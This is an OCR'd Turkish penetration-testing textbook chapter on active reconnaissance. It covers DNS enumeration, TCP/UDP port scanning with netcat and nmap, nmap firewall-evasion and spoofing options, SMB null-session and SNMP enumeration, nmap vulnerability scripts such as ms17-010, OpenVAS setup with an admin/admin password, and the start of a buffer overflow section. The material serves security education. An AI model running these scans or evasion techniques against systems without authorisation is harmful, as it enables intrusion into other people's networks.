Aktif bilgi toplama, pasif bilgi toplama adimindan hemen sonra gelmektedir.
Pasif bilgi toplama ile aktif bilgi toplama arasindaki en Onemli fark, aktif bilgi
toplanirken bilgilerin bulundugu hedef sistemle dogrudan etkilesime girme olayidir.
Port taramasi, DNS sorgusu, kaba kuvvet saldirilar1 vb. gibi aktif bilgi toplama
yontemleri hedef sistemlerde loglar(kayitlar) iiretecektir. Yetkisiz bilgi elde etme
girisimlerinin yasal yaptirnmlar1 da vardir. Bu yiizden aktif bilgi toplama uzmanlik
gerektiren ve beyaz sapkali hackerlarin gizlilik s6zlesmesi kapsaminda yapacagi bir

istir.
4.3.1 DNS Listesi Detaylandirma

Aktif bilgi toplamada ¢ok kullanilan bir yontem olan DNS sorgulari, kurumlarin

sunucular1 hakkinda kisilere sunucu adlari, sunucu islevleri gibi cesitli bilgiler verirler.
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Sekil 4.13: Whois sorgusuyla bilgi toplama.

4.3.1.1 DNS sunucusuyla etkilesim

DNS sunucusu genellikle yetkilendirdigi etki alami icinde DNS ve e-posta
sunucusu bilgilerini elde etmeyi saglayacaktir. Kali iizerinde, “thk.edu.tr” ve
“megacorpone.com” etki alanlari i¢gin hem DNS hem de e-posta sunucularini bulmak

adina “~t” (type) parametresiyle Sekil 4.14’de yapilmis bir sorgu goriintiilenmektedir.

4.3.1.2 DNSRecon

DNSRecon [38], Python programlama diliyle yazilmis ve gelistirilmis olan,
giincel bir DNS numaralandirma komut dosyasidir.

DNSRecon komut dosyasin1 6rneklemek icin “megacorpone.com” etki alaninda
sorgu calistirlldiginda Sekil 4.15’teki ekran goriintiisii olusmaktadir. DNSRecon aktif

bilgi toplama yapacagindan dolay1 kurum ve kuruluslarda kullanilmamalidir.
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DNS sunucuyla etkilesimli aktif bilgi toplama.

Sekil 4.14

DNSRecon ile aktif bilgi toplama.

Sekil 4.15
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4.3.1.3 DNSenum

“DNSenum”, “DNSRecon” gibi popiiler bir DNS detaylandirma aracidir.
“DNSenum” betigini O0rneklemek icin, Ozellikle bolge aktarimlarina izin veren

“zonetransfer.me” sitesi sorgulandiginda Sekil 4.16’daki ¢iktilar elde edilmistir.

Sekil 4.16: DNSenum ile aktif bilgi toplama.
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Sekil 4.16 (Devam): DNSenum ile aktif bilgi toplama.

4.3.2 Port Taramasi

Glniimiizde kullanilan igletim sistemleri ¢ok sayida programin ayni anda
caligmasina izin vermektedir. Kullanilan programlardan bazilar bilgisayara disaridan
gelen istekleri (istemci / istek) kabul etmekte ve uygun istekleri de cevaplamaktadir
(sunucu / cevap). Bu istek cevap olayini bilgisayarlar {izerinde yapmak i¢in birtakim
soyut baglant1 noktalar1 tanimlanir ve adresleme yapabilmek adina pozitif bir say1
verilir, bu sayilar port numaralaridir. Port numarasi 2 byte olarak tutuldugundan 65536
adet port tanimlanmasi yapilabilir [39]. Fakat diinya tarafindan ortak olarak kullanilan
“iyi bilenen” adi altinda standartlagsmis bazi portlar vardir. Iyi bilenen portlarin
numaralarina ve sagladigi hizmetlere Internet Assigned Numbers Authority (IANA)
[40]’in sitesinden erisebilmek miimkiindiir. Bu portlardan bazilari asagida belirtildigi

gibidir:

1. 21FTP (File Transfer Protocol)

2. 22 SSH (Secure Shell)

3. 23TELNET  (Telecommunication Network)

4. 25SMTP (Simple Message Transfer Protocol)
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5. 53DNS (Domain Name Server)
6. 80HTTP (Hyper Text Transfer Protocol)

4.3.2.1 TCP baglantis1 / SYN taramasi

TCP (Transmission Control Protocol) ag iizerinde ¢ift yonlii tasima yapan bir
protokoldiir. TCP baglantilar1 bayraklarla (flags) yiiriitiliir. Bayraklar TCP
baglantilarinda durum belirleme konumuna sahiptir. Yani baglantinin baglamasi, veri
transferi, onay mekanizmast ve baglantinin sonlandirilmasi islemleri tamamen
bayraklar araciligi ile gerceklesir. SYN, ACK, FIN, PUSH, RST, URG bayrak
cesitleridir.

UNIX/Windows sistemlerde baglantilara ait en detayl1 bilgiyi saglayan “netstat”
(Network statistics) komutu ile TCP baglantilarinda goriilebilecek ¢esitli durumlar su
sekildedir: “close wait, closed, established, fin wait 1, fin wait 2, last _ack, listen,
syn_received, syn_send ve time wait”.

TCP protokoliine gore oturum baslatma islemi yani {i¢lii el sikisma olay1 olarak
adlandirilan yap1 asagida anlatildigi gibi gergeklesmektedir:

a) Istemci sunucudan SYN paketi gondererek baglant: talebinde bulunur.

b) Sunucu kendisine gelen bu istegi SYN-ACK paketi ile onaylar.

c) Istemci her seyin yolunda oldugunu ACK paketi ile cevaplayarak baglantinin

baslamasini saglar.
4.3.2.1.1 Baglanti taramasi

En basit TCP baglant1 noktasi tarama teknigi, genellikle “CONNECT” taramasi
olarak adlandirilir ve {i¢ yollu TCP el sikismasi mekanizmasina dayanir. El sikigma
mekanizmasi iletisim kurmaya calisan iki bilgisayarin veri iletmeden 6nce ag “TCP
yuva baglantisina dair degiskenler hakkinda anlagmasi i¢in tasarlanmistir. Baglanti
noktasi taramasi, belirtilen baglanti noktalarinda hedef ana bilgisayarla ii¢ yonlii bir el
sitkigsma girisiminde bulunur. El sikismasi tamamlanirsa baglanti noktasinin agik
oldugunu anlamina gelmektedir. Sekil 4.17°de 3388-3390 numarali baglanti
noktalarinda TCP Netcat baglant1 noktasi taramasinin Wireshark araci ile izlenmesini

gostermektedir.
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Ip.acr==192 168.151.1 B | Epress

No. Time Sourte Destination Protacol Length Info

10.000000000 192.168.164.128192.168.164.1 TCP 7443082 ~ 3390 [SYN] Seq=0 Win=29200 Len=0 MSS=1460 SACK PERM=1 TSval=31730 TSecr=0 WS=128
20.000136707 192,168.164.1 192.168.164,128 TCP 603390 — 43082 [RST, ACK =1 Ack=1 Win=0 Len=0

30.000352832 192.168.164.128192.168.164.1 TCP 7442372 - 3389 [SYN] Seq=0 Win=29200 Len=0 MSS=1460 SACK_PERM=1 TSval=31731 TSecr=0 WS=128
40.000640854 192.168.164.1 192.168.164.128 TCP 66 3389 —~ 42372 [SYN, ACK] Seq=0 Ack=1 Win=64000 Len=8 MSS=146@ WS=1 SACK PERM=1
50.000652742 192.168.164.128 192.168.164.1 TCP 5442372 — 3389 [ACK] Seg=1 Ack=1 Win=29312 Len=0

60,001079954 192,168.164,128 192,168,164.1 TCP 5442372 ~ 3389 [FIN, ACK] Seq=1 Ack=1 Win=29312 Len=0

70.001142993 192,168,164.1 192.168.164,128 TCP 603389 - 42372 [ACK] Seq=1 Ack=2 Win=6400@ Len=0

80.001296785 192.168.164.128192.168.164.1 TCP 7435820 ~ 3388 [SYN] Seq=0 Win=29200 Len=0 MSS=1460 SACK_PERM=1 TSval=31731 TSecr=0 WS=128
00.001382468 192.168.164.1 192.168.164.128 TCP 66 3388 — 35820 [RST, Seq=1 Ack=1 Win=e =0

100.001497590 192.168.164.1 192.168.164.128 TCP ] Seq=1 Ack=1 Win=64000 Len=0

110.001504353 192,168.164.128192.168.164.1 TCP 5442342 ~ 3389 [RST] Seq=1 Win=0 Len=@

Sekil 4.17: Netcat port taramasiin Wireshark ile izlenmesi.

4.3.2.1.2 Gizli SYN taramasi

SYN taramasi veya gizli tarama, TCP el sikismasini tamamlamadan SYN
paketlerini bir hedef makinedeki ¢esitli baglanti noktalarina géndermeyi iceren bir
“TCP baglant1 noktas1” tarama yontemidir. Bir TCP baglant1 noktas1 aciksa, hedef
makineye bir SYN-ACK geri gonderilmeli ve hedef makineye son bir ACK
gondermesi gerekmeden baglanti noktasinin agik oldugunu bildirmelidir.

Eski nesil giivenlik duvarlarinda bu yontem baglanti tamamlanmadigindan
dolay1 genellikle kayit olusturmazdir. Eski nesil giivenlik duvarlart TCP oturumlariyla
sinirliydi. Fakat bu durum giiniimiiz modern giivenlik duvarlarinda kayzt altina alinan

bir tarama yontemidir.

4.3.2.2 UDP taramasi

UDP taramasinin temelinde hedef porta “UDP” paketi gondererek kapali olan
porttan gelecek olan “ICMP (Internet Control Message Protokol) port unreachable”
mesajinin alinmasina baglh gerceklesir. Eger bu mesaj gelmezse port’un agik oldugu
anlasilir. UDP'nin farki, sorgulama ve sinama amach, kiiciik boyutlu verinin
aktarilmasi i¢in olmasidir; veri kiigiik boyutlu oldugu igin veriyi par¢alamaya gerek
duyulmaz. Dolayistyla UDP segmenti TCP segmentinden farklidir; baslik bilgisi daha
az alan igerir. UDP port taramalarinin nasil ¢alistigini anlamak i¢cin UDP portlarini

“netcat” araciyla tararken Wireshark ile ag dinlenmektedir.
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*ethl

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
Am i@ ofRBAer IwmEHaaaE
[ ]ipaddr==192.168.164.1

No. Time: ource Destination Protocol Length Info

10.000000000 192.168.164.128 192.168.164.1 UDP 4335631 ~ 162 Len=1

20.000187207 192.168.164.1 192.168.164.128 ICMP 71 Destination unreachable (Port unreachable

371.002179509 192.7168.164.128197.168.164.7 UDP 4356343 - 161 [en=1

41.002314791 192.168.164.1 192.168.164.128 ICMP  71Destination unreachable (Port unreachable)
AN q Q 4 219 2 4 DP AAAI8 — 1AQ |en=1

192.168.164.128 ICMP 71 Destination unreachable (Port unreachable)|

62.004537980 192.168.164.1

Sekil 4.18: UDP paket izleme.

Wireshark ile ag trafigi dinlemesinde UDP taramalarinin TCP taramalarindan
oldukca farkli oldugu gozlenmektedir. Bos bir UDP paketi belirli bir baglanti
noktasina gonderilir. UDP portu agiksa, hedef makineden bir cevap geri gonderilmez.
UDP portu kapaliysa hedef makineden bir "ICMP port erisilemez" paketi

gonderilmelidir.

4.3.2.3 Ortak port tarama tuzaklar

Giivenlik duvarlar1 ve yonlendiriciler ICMP paketlerini diistirebileceginden
(drop), UDP port taramasi giivenilir degildir. Bu nedenle taramalarda “false positive”
denilen, aslinda dogru gibi goziiken fakat sonucu yanlis olan bir durum gézlenir. Bu
tarama sonrasinda elde edilen UDP portlarmin her biri, taranan makinede agik olarak
goziikebilmektedir. Bu durumun olusmamasi igin port tarayicilarinin ¢ogu, mevcut
olan tim portlari taramamaktadir. Genellikle taranan “ilging portlarin” 6nceden
belirlenmis bir listesi, port tarama araglarinda bulundurulmustur.

Sistemciler cogu zaman UDP port hizmetlerini taramay1 unuturlar, sadece TCP
taramasini yapip tarama iglemini sonlandirirlar. Bu sekilde tarama isleminin biitiiniine

degil ancak yarisina erigmis olurlar.

4.3.2.4 Nmap ile port taramasi

Nmap giliniimiizde en ¢ok bilinen, ¢cok yonli ve ¢ok gii¢lii bir port tarama
aracidir. Kali Linux’da terminalde “nmap” komutu ve parametleriyle port taramasi
baslatilabilir. Nmap ile ilgili daha kapsamli bilgi igin [41] incelenmelidir. Nmap’in
parametleriyle ilgili bilgi edinmek ve yaptig1 birgok tarama igin [42] incelenmelidir.
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Nmap ile varsayilan bir TCP port taramasinda en popiiler (iyi bilinen) 1000 port
taranmaktadir. Nmap araci kullanmadan 6nce trafik hakkinda bilgi sahibi olunmasinin,
taramanin yogunlugu ve hizi igin énem tasimaktadir. Ornek bir nmap bilgisayar

taramasi i¢in “iptables” [43] kullanarak bilgisayara gonderilen trafik incelenebilir.

Sekil 4.19: Nmap ile “SYN?” taramas1 ve ag tizerinde olusturdugu trafik.

Sekil 4.19°da nmap taramasinda varsayilan olarak en bilinen 1000 port taranmis
ve yaklasik olarak taramanin olusturdugu trafik boyutu 65KB civarinda oldugu
gbzlemlenmistir. Biitiin portlarin agik olmasi ve taranmasi durumunda elde edilecek
trafigin ise 4,5 MB oldugu tespit edilmistir. Sekil 4.19°da varsayilan tarama
yapildigindan, aslinda hedef sistemde agik olan fakat popiiler port olarak
tanimlanmamig olan 180 numarali portun taramasinin yapilmadigi goriilmektedir. Bu
portun tarama sonucunda ¢ikmasi icin yapilacak tarama Sekil 4.20°de
gosterilmektedir.

Sekil 4.20°den ¢ikan sonuca gore C smif (x.x.x.0/24) agda yani 254 adet
bilgisayarda tam nmap taramasi yapilirsa ag tizerinde 4,5MB x 254 =1000 MB'den

fazla trafik olusacaktir.
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Sekil 4.20: Nmap ile tiim portlarin taranmasi ve ag iizerinde olustugu trafigin boyutu.

Cok sayida bilgisayarin var oldugu bir yerde tarama yapmadan 6nce ag trafigini
korumak ve sistemin yavaslamamasini saglamak icin “Ag Siipiirme Teknikleri”
kullanmalidir. Ag Siipiirme, ag genelinde bir eylemi belirtmek i¢in kullanilan bir terim
olarak literatiirde de gegmektedir [44]. Yukarida bahsedilen C sinifi bir yapida 254
adet IP’nin tamaminin dolu olmama durumu varsa, dolu IP’leri tespit etmek icin
“ping” taramasi yapilmalidir. Ping taramasi yaparken de agi yormamak igin “-n”
parametresiyle isim ¢oziimlemesi yaptirmadan cevap dondiirmesi saglanir, fakat
agdaki her makineye ICMP ping istekleri gondermek yeterli olmayabilir. ICMP
isteklerini filtreleyen veya engelleyen bilgisayarlar “ping”’e de izin vermeyecektir. Bu
nedenle hangi makinelerin gercekten agik veya kapali oldugunu tanimlamanin kesin

bir yolu “ping” atmak degildir. Ornek nmap taramasi ve agiklamalar;
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Hedef Sunucu Belirtme:

Sunucu adi, IP adresi veya agin tamami dogrudan parametre olarak verilebilir.

nmap 192.168.1.0/24 10.0.0-255.1-254 example.com

-iL <dosya_adi>:
Hedef Sunucu Kesfi:
-sL:

-Pn/-PN:

-n:

-R:

--traceroute:

Tarama Parametreleri:

-sN sF/sX:
--scanflags <flags>:
-A:

Dosyadan IP adreslerini liste olarak alir.

Taranacak IP adreslerini liste olarak verir.
Hedefi acik kabul eder ve ping ile kesif yapmaz.
DNS ¢oziimleme yapmaz.

Her zaman DNS ¢oziimleme yapar.

Hedef sisteme trace ¢ekilmesi

SYN taramasi

TCP taramasi

ACK taramast

UDP taramasi

TCP Null, FIN ve Xmas taramalar1

TCP tarama bayraklarinin 6zel olarak ayarlanmasi
Isletim sistemi tespiti, versiyon tespiti, betik taramas1 ve

traceroute yapma (-sC -sV -O --traceroute)

Port Belirtilmesi ve Tarama Sirasi

-p <port araligi>:

-F:

--top-ports <sayr>:

-sV:
--version-trace:
Betik Taramasi
-sC:
--script=<betik>:
--script-trace:

--script-updatedb:

Belirtilen portlarin/port araliginin taranmasi
-p22,23,80; -p1-65535; -pT:22-25,80,U:53

(Hizl tarama) En sik kullanan 100 portun taranmasi

En sik kullanilan <say1> kadar portun taranmasi
Servis ve Versiyon Tespiti

Versiyon tespiti yapma

Versiyon tespiti islemlerini detayli olarak gosterme

Varsayilan betik taramasi ayarlari (--script=default)
Belirtilen <betik> betiginin c¢aligtirilmasi
Betik taramasini detayli gosterme

Betik veritabanin giincellenmesi

--script-help=<betik>: <betik> betigi hakkinda bilgi alma
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Isletim Sistemi Tarama

-O: Isletim sistemi tespiti yapma

Zamanlama

'ms' mili saniye, 's' (saniye), 'm' (dakika), 'h' (saat)

-T<0-5>: Zamanlamaya ayarlama (0 en yavas, 5 en hizl)

--min-hostgroup/max-hostgroup <sayr>: Paralel olarak taranacak sunucu

sayisini belirleme

--max-retries <deneme> Tekrar deneme sayisi

--host-timeout <siire> Hedefe yapilacak taramanin en fazla siiresini belirleme
Giivenilik Duvar1 /STS Atlatma

-f; --mtu <deger>: fragmentation

-S <IP_adresi >: Belirli IP adresinden geliyor gibi tarama

-g/--source-port <port_numarasir>: Belirli kaynak port numarasindan tarama

--ttl <deger>: TTL degerini ayarlama

--badsum: Bozuk paket gonderme

Cikt1 Yonetimi:

-oN <dosya>: Normal formatta ¢ikti

-0X <dosya>: XML formatinda ¢ikti

-0G <dosya>: Grep komutuna uygun ¢ikti

-0A <dosya>: 3 formatta (normal, XML, grepable) ¢ikt1

-V: (Verbose) Ayrinti artirma

--reason: Portun belirli durumda olma nedeni

--open: Sadece agik  durumundaki portlar
gosterir.

--packet-trace: Giden ve gelen tiim paketleri gosterir.

4.3.2.5 imza tabanh isletim sistemi tarama

En temel kullanimi “nmap —O <Hedef Sistem>” komutuyla yapilir. Nmap

tarama sonucunda alinan paketleri inceleyerek isletim sistemini tahmin etmeye ¢aligir.

Isletim sistemleri genellikle TCP / IP yiginimin varsayilan TTL degerleri ve TCP

pencere boyutu gibi biraz farkli uygulamalarina sahiptir. Bu ufak farkliliklar,

genellikle Nmap tarafindan tanimlanabilen bir parmak izi olusturur. Nmap tarayici,

hedef makineden gonderilen ve alinan trafigi denetleyecek ve parmak izini bilinen bir
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listeyle eslestirmeye sokarak isletim sistemi hakkinda bilgi verecektir [45]. Ornegin,

Sekil 4.21°de nmap taramasini ¢alistirildiginda temel isletim sisteminin Windows 7

veya Windows 2008 oldugunu sdyleyen bir ¢ikt1 alinmistir.

Sekil 4.21: Nmap ile isletim sistemi versiyon tespiti.

4.3.2.6 Servislerin ana bashklarim yakalama

Daha kapsamli bir tarama i¢in agik portlarin servisleri ve servislerin siirim

taramasi i¢in “—sV " ve “—A” parametreleri de kullanilabilir.

Sekil 4.22: Nmap port ve servis taramasi.

4.3.2.7 Nmap komut dosya motoru (NSE)

Acilim1 Nmap Scripting Engine (NSE) olan Nmap Komut Dosya Motoru
“nmap’’in en gliclii ve esnek Ozelliklerinden biridir. Kullanicilarin ¢ok ¢esitli ag
gorevlerini otomatiklestirmek i¢in basit komut dosyalar1 yazmasina (ve paylasmasina)

olanak tanimaktadir [46]. “Nmap NSE” i¢in detayli bilgiler [46] nolu kaynakta
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mevcuttur. Cok sayida farkli ¢esitte yardimci betik barindiran “Nmap NSE” ile DNS
kesif taramasi, kaba kuvvet saldirilar1 ve hatta giivenlik agiklarini tanimlama gibi
tarama islemleri yapilabilir. NSE komut dosyalarinin tiimii “/usr/share/nmap/scripts”
dizininde tutulmaktadir.

Bir komut dosyasinin agiklamasi “nmap --script-help” komutuyla goriintiilenir.
Ayrica, bazi komut dosyalarma “nmap --script-args” ve “nmap --script-args-file”
segenekleri lizerinden arglimanlar iletebilir, daha sonra bir komut satir1 arg yerine bir
dosya adi saglamak i¢in kullanilir. Varsayilan komut dosyalarinin ¢ogunda tarama
yapmak i¢in, “nmap —SC " bayragi kullanilir.

Ornek komutlar olarak;

1. nmap <hedef IP> --script smb-os-discovery.nse

o Isletim sistemi siiriim taramas1 yapar.
2. nmap <hedef IP> --script=DNS-zone-transfer —p 53 n2.example.com
o DNS bolgesi Aktarimi yapar.
3. nmap -p445 <hedef IP> --script vuln
o 445 nolu portta agiklik taramasi yapar.
4. nmap —script http-headers scanme.nmap.org
o http basliklarini tespit eder.
5. nmap —script “ssh-*" <hedef IP>
o Sshile baglayan tiim betikleri hedef ip de tarar.

4.3.3 SMB Listesi Detaylandirma

SMB (Server Message Block) yani sunucu ileti blogu, NETBIOS mimarisindeki
ag protokolii olan SMB, ag protokolii olarak sunucu ile istemci arasinda iletisimi
gerceklestirir [47]. Windows isletim sistemlerinin agda yazici ve dosya paylagmasina
veya paylasilan yazici ve dosyalara erigmesini saglayan bir protokoldiir. Bu protokol
cok fazla sayida kritik zafiyet icerdigi icin siirekli olarak giincellemeyle bir iist siiriim
olarak sunulmaktadir. SMB protokoliiniin hangi isletim sistemlerinde hangi siiriimle
geldigi bilgisi asagida siralanmaktadir.

1. SMB1 - Windows 2000, XP and Windows 2003.

2. SMB2 — Windows Vista SP1 and Windows 2008

3. SMB2.1 - Windows 7 and Windows 2008 R2

4. SMB3 — Windows 8 and Windows 2012.
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4.3.3.1 NetBIOS servis taramasi

SMB NetBIOS servisi, 139 ve 445 numarali TCP baglant1 noktalarinin yani1 sira
cesitli UDP portlarin1 da dinlemektedir. Bunlar, asagidakine benzer sézdizimini
kullanarak nmap gibi araglarla taranabilir:

root@kali:# nmap —v —p 139,455 —0G smb.txt <Hedef IP>

NetBIOS'un detayli taranmasi igin daha gelismis araglar da vardir. Sekil 4.23’te

“nbtscan” araci kullanilmustir.

Sekil 4.23: Nbtscan ile host taranmasi.

4.3.3.2 Bos oturum detayh listeleme

Bos oturum iki bilgisayar arasinda kimligi dogrulanmamis bir NETBIOS
oturumu anlamina gelmektedir. Bos oturum, kimligi dogrulanmamis bilgisayar
korsanlarinin bilgisayarla ilgili parola ilkeleri, kullanict adlari, grup adlari, bilgisayar
adlari, kullanic1 ve bilgisayarlarin SID’leri gibi ¢ok fazla sayida bilgi edinmesinin
onlinii acar. Bu Microsoft 6zelligi varsayillan olarak SMB1’de mevcut olarak
gelmektedir; fakat giincellenen SMB siirtimleriyle kisitlandirilmistir. SMB  bos
oturumla ilgili bilgi i¢in [48] incelenebilir. SMB bos oturum kullanarak Windows
bilgisayarlarindan alinabilecek bilgi tiirleri incelendiginde, Kali Linux’de bulunan
“enum4linux35” [49] araciyla Sekilde 4.24°teki bilgiler elde edilmistir.

“enum4linux” ile ilgili detayli kullanim tablosu ve ornekler icin [50]

incelenebilir.

4.3.3.3 Nmap SMB NSE komut dosyalari

Nmap ile kesif yapma ve tarama i¢in kullanabilen bir¢ok NSE komutu vardir.

SMB hizmetleri i¢in “/ust/share/nmap/script” dizini Sekil 4.25°te gosterilmektedir.
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Sekil 4.24: Enum4linux araciyla sistem taramasi.

Sekil 4.25: Nmap aracindaki SMB ile ilgi scriptler.

Sekil 4.26°da birgok Nmap SMB NSE betiginin varlig1 goriintiilenmistir. Ornek
olarak kirmiz1 kutu igerisine alinmig olan “ms17-10" zafiyeti, 2017 yilinin Mart ayinda
c¢ikmis en giincel kritik agiklik seviyesinde olan ve uzaktan kod ¢alistirmada
kullanilabilen bir zafiyettir. Nmap NSE ile “ms17-10” taramasi sistem iizerinde

incelenecek olursa:
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1 numarali say1 ile belirtilen komut satirinda “—v” ile verbose, ”-p” ile 135 ve
445 portlart ve “--script=smb-vuln-ms17-010~ ile NSE deki nmap script taramasi
yapilmustir.

2 numarali say1 ile belirtilen alan, taranan agiklik ile ilgili olarak kritiklik
seviyesi ve nasil bir agiklik tiirii olduguna dair bilgi veren alandir.

3 numaral1 say1 ile belirtilen alan, ilgili a¢iklik hakkinda ne gibi iglemler yaparak

onlem alinabilecegine dair bilgi veren alanidir.

Sekil 4.26: Nmap araciyla belirli portlarda bilinen agiklik taramasi.

4.3.4 SMTP Detaylandirma

SMTP (Simple Mail Transfer Protocol) ag iizerinde e-posta gonderme
protokoliidiir. Bazi1 hassas yapilandirmalarda, posta sunucular bir bilgisayar veya ag
hakkinda bilgi toplamak icin de kullanilabilir. SMTP, VRFY ve EXPN gibi 6nemli
komutlar1 destekler. Bir VRFY istegi, sunucunun bir e-posta adresini dogrulamasini
isterken, EXPN, posta listesi iiyeligi i¢in sunucudan bilgi ister. Bunlar genellikle bir
posta sunucusundaki mevcut kullanicilar1 dogrulamak i¢in saldirgan tarafindan

kullanilabilir. SMTP 6rneklemesi igin [51] incelenebilir.
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4.3.5 SNMP Detaylandirma

SNMP (Simple Network Management Protocol - Basit Ag Yonetim Protokolii)
ag1 yonetirken, ag sistem yoneticisine yardimci olan uygulama katmani protokoliidiir.
Temel anlamda, genis aglarda cihazlarin yonetimini ve denetimini kolaylastirmak icin
tasarlanmistir. SNMP kullanilarak agda bulunan yonlendirici (Router), anahtarlayici
(Switch), erisim sunucusu (Access Server), koprii (Bridge) ve hatta bilgisayar gibi
cihazlarin sicaklik, cihaza bagli kullanicilar, internet baglanti hizi, cihaz ¢alisma siiresi
gibi temel bilgiler de elde edilebilir. Bu sekilde agin performansi arttirilabilir, agdaki
problemler bulunup ¢6ziilebilir ya da agda biiylime i¢in dnceden planlama yapilabilir.
TCP/IP protokoliiniin bir pargast olan SNMP, IP adreslerini kullandig i¢in sadece
kendi fiziksel agin1 degil yonlendiricilerin diger araylizlerinin de kontrol edilmesini
saglar. SNMP, UDP temeline dayanan basit ve durum bilgisi olmayan bir protokole
dayanmaktadir, bu nedenle IP (spoofing) sahtekarligina ve tekrar saldirilarina (relay

attack) kars1 hassastir.

4.3.5.1 MIB agaci

SNMP MIB (Management Information Base) genellikle ag yonetimiyle ilgili

bilgi igeren veri tabanidir.

4.3.5.2 SNMP icin tarama

SNMP port taramasi i¢in nmap taramasi yapmak i¢in 6rnek kod:
root@kali # nmap —sU —open —p 161 <hedef_ip> -0G snmp.txt

Alternatif olarak “onesixtyone” [52] araci da kullanilabilir.

4.3.5.3 Windows SNMP detaylandirma

SNMP (Simple Network Management Protocol), basit ag yonetim protokoliidiir.
Router, switch gibi ag cihazlarinin yonetimi bu protokolle saglanir. SNMP Windows
tizerinde bir 6zellik olarak gelmektedir ve kullanici tarafindan aktif edilene kadar
cihazlar1 yonetmek i¢in arayiliz olarak goziikmemektedir. SNMP protokoliindeki
stirim agikligindan yararlanilabilecegi gibi SNMP servisi kurulmus Windows

makinesiyle ilgili de birgok saldir1 vektorii ortaya ¢itkmistir. SNMP Windows cihazlar
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icin yapilandirma stirim bilgilerini almak i¢in “snmpwalk —c public —v1 <Hedef_IP>"

komutuyla kullanilarak bilgi toplanabilir.

4.4 Giivenlik Aciklarimin Taranmasi

Giivenlik ag1g1 taramasi, bir agdaki giivenlik agikliklarini bulmak ve tanimlamak
i¢cin otomatiklestirilmis araglarin kullanilma siirecidir. Ticari olarak giivenlik agig
taramalar1 yapan en bilindik araglar Core Impact, Nessus, Nexpose, Acunetix,
Netspark ve AppScan’dir. Bunlarin disinda ticari olmayan ¢ok sayida araglar da
mevcuttur. Bu calismada Kali Linux ile birlikte kullanilabilen araglarin bazilar
incelenmistir. Giivenlik agig1 taramalarinda ag iizerinde ¢ok yogun trafik olusmasi

muhtemeldir, bundan dolayi taramalarin dikkatlice yapilmas: gerekmektedir.

4.4.1 Nmap ile Giivenlik Acig1 Tespiti

Port tarama modiiliinden “Nmap Dosya Motoru” basliginda bahsedilmistir. Bu
baslikta ise komutlarin kullanimi ve Nmap 6rnekleri incelenmistir. Tiim NSE komut
dosyalar1  Sekil 4.27°de gosterildigi gibi “/usr/share/nmap/scripts” klasoriinde
bulunmaktadir.

Nmap ile giivenlik agig1 taramak i¢in daha 6nce tarama yapilan ve agik portlari
tespit edilen sistemde Ornek tarama komutlar1 ve islevleri asagida gosterilmistir.

1. 139 ve 445 nolu portlarda isletim sistemi tespiti ve portlarin protokol

bilgileri
o nmap -V —p 139, 445 —script=smb-os-discovery <hedef IP>
2. 139 ve 445 nolu portlarda bilinen bir SMB agiklig1 tespit etme
o nmap —v —p 139, 445 —script=smb-vuln-ms17-010 <hedef IP>
3. 80 nolu portta CVE2010-2861 [53] nolu agiklik taramasi
o nmap -V —p 80 —script=http-vuln-cve2010-2861 <hedef IP>
4. Anonymous erisime izin veren belirli ip araligindaki ftp sunucularinin
taramasi
o nmap -v -p 21 --script=ftp-anon.nse <hedef IP-254>
5. SMB sunucularinda giivenlik modu tarama

o nmap -v -p 139, 445 --script=smb-security-mode <hedef IP>
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6. Tim etki alam1 web sunucularinin CVE-2011-3192 [54] ac¢iklik yamasi
tespiti
o nmap -v -p 80 --script=http-vuln-cve2011-3192 <hedef IP-x>

—~

fusr/share/nmap/scripts

Sekil 4.27: Nmap scriptlerinden agiklik ile ilgili olanlar.

4.4.2 OpenVas Giivenlik A¢ig1 Tespiti

The Open Vulnerability Assessement System (OpenVAS) [55] acik kaynak
kodlu ve iicretsiz bir giivenlik agig1 tarayicisidir.
Kali Linux makinesinde indirme islemi yapilip kurulmasi i¢in terminale

“openvas-setup” komutu girilir.
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Sekil 4.28: Openvas kurulumu.

Daha sonra Firefox internet tarayicisina “https://localhost:9392” yazilir ve giris
tusuna basilir. Kullanic1 ad1 ve sifre isteyen “Greenbone Securiyt Assistant Login
Form” ekrani gelir, giris yaptiktan sonra hedeflerin yapilandirildigi, gorevlerin
olusturulabildigi ve giivenlik agig1 taramasi sonuglarinin yonetilebildigi “Greenbone
Security Assistant” arabirimine erisilir.

Kullanici i¢in bir sifre olusturulmadiysa asagidaki kodlar1 komut satirina tek tek
yazarak islemler tamamlanir.

openvas-stop

openvasmd --create-user=admin --role=Admin

openvasmd --user=admin --new-password=admin

openvas-start

Openvas arayliziinden gerekli ayarlar yapildiktan sonra tarama islemi baslatilir.
Tarama bittiginde, tarama raporu “Scan” menisiiniin “Reports” bdliimiinde
goziikmektedir. Tarama, hedef sisteme erigim bilgileri olmadan yapildig: i¢in hedefe
yiiklenen yazilimlar veya kimlik dogrulamasi gerektiren diger giivenlik agiklar
sorgulanamaz bundan dolay1 tespit edilen giivenlik agiklar1 sayis1 az ¢ikabilmektedir.

Hedef sistem iizerinde yapilan tarama sonucu Sekil 4.30°da gdsterilmistir.
4.5 Arabellek Tasmalar:

Ara bellek tagmasi yani buffer overflow, konuyu daha iyi anlamak adina buffer
ve overflow’u ayr1 ayr1 agmak gerekir. Buffer hafizada arka arkaya dizilmis veri tipi
(int, char vs.) depolayan hafiza blogudur. Overflow ise dinamik degiskenlerin

tastyabilecegi maksimum veri kapasitesinden daha fazla veri géndermektir. Ornegin
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kapasitesi 10 kilobayt olan bir diziye 12 kilobayt bir veri gondermek bellek tagmasi

yapacaktir. Genel olarak, bir uygulamadaki hatalar1 tanimlamanin ii¢ ana yolu vardir.

Greenbone SecurityAssistant-MozillaFirefox| ﬂ @ o
File Edit View History Bookmarks Tools Help
/& Greenbone Security A x4
€ ) ® A&/ https://localhost:9392/pmp?r=18&token=af6cffad-c34c-425e-bBad-a42d0d32541e @ | ¢ | Q Search B ¥ % =

Offensive Securi Kali Linux Kali Docs Kali Tools ‘. Exploit-DB Wy Aircrack-ng g Kali Forums NetHunter [ Most Visitedw Getting Started
P! 9 9

Greel:lbone_ No auto-refresh = | Loggedinas Admin yasir | Logout|”
Security Assistant Thu Mar 15 20:50:48 2018 UTC

Dashboard Assets SecInfo Canfiguration Extras Administration

i‘lj Dashboard %

= Tasks by Severity Class (Total: 0) hd Tasks by status (Total: 0)

~ CVEs by creation time (Total: 102714) ~ Hosts topology NVTs by Severity Class (Total: 54404)

CVEs / year Total CVEs -
High
20,000 110,000 [ Medium
18.000 100,000 e
16,000 A Fov.e00 Log
14,000 i e
70,000
1z.000 e No hosts with topology selected
